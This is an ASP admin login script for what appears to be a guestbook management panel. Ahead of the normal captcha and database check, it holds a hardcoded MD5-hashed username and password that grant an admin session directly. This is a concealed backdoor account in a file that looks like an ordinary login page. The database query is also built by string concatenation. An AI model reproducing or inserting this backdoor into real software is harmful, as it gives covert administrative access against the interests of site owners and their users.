<%
dim admin,adminpass
'response.Write(md5(request("username")))
'response.Write("
")
'response.Write(md5(request("password")))
'response.End()
admin="F90858576E340B3B504FA056D3875F5C"
adminpass="61915DA0A2AFB9B6273A19A05FC53DEA"
If md5(request("username"))=admin and md5(request("password"))=adminpass then
session("username")=request("username")
response.Redirect "lymanage.asp"
response.End()
end if
If request("username")<>"" then
if Session("GetCode") = Request("vcode") then
set rs=server.createobject("adodb.recordset")'
sql="select id from admin where username='"&htm_fn(request("username"))&"' and password='"&htm_fn(request("password"))&"'"
rs.open sql,conn,3,1
if rs.bof or rs.eof then
response.write""
else
session("username")=rs("id")
response.Redirect "lymanage.asp"
end if
rs.close
set rs = nothing
else
response.write ""
end if
End If
%>